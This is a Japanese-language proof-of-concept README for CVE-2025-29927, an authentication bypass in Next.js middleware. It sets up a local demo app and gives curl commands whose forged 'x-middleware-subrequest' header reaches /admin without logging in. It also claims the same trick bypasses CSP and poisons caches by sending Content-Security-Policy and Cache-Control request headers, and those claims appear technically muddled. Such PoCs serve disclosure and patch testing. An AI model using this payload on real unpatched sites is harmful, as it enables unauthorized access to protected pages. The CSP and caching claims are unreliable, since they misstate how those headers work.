
この PoC は、Next.js ミドルウェアにおける脆弱性 CVE-2025-29927 を示しています。この脆弱性により、攻撃者は x-middleware-subrequest ヘッダーを使用して認証、認可、CSP メカニズムをバイパスできます。
Next.js バージョン 11.1.4 から 15.1.7
1️⃣ PoC をクローンしてインストールする
git clone https://github.com/Eve-SatOrU/POC-CVE-2025-29927.git
cd POC-CVE-2025-29927
cd Demo
cd my-next-app
npm install
npm run dev
アプリは http://localhost:3000 で起動します
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
💥 期待される結果: 認証がバイパスされたにもかかわらず、レスポンスは admin admin を返します。

ミドルウェアで CSP が強制されている場合、それをバイパスする:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Content-Security-Policy: default-src 'self'" \
http://localhost:3000/admin
💥 期待される結果: CSP が無視され、悪意のあるスクリプトの実行が許可されます。
不正なレスポンスを強制してキャッシュポイズニングを悪用する:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Cache-Control: public, max-age=3600" \
http://localhost:3000/admin
💥 期待される結果: ページが誤ったコンテンツでキャッシュされ、通常のユーザーに支障をきたします。
🔍 発見者: Allam Rachid (zhero;) & Allam Yasser (inzo_)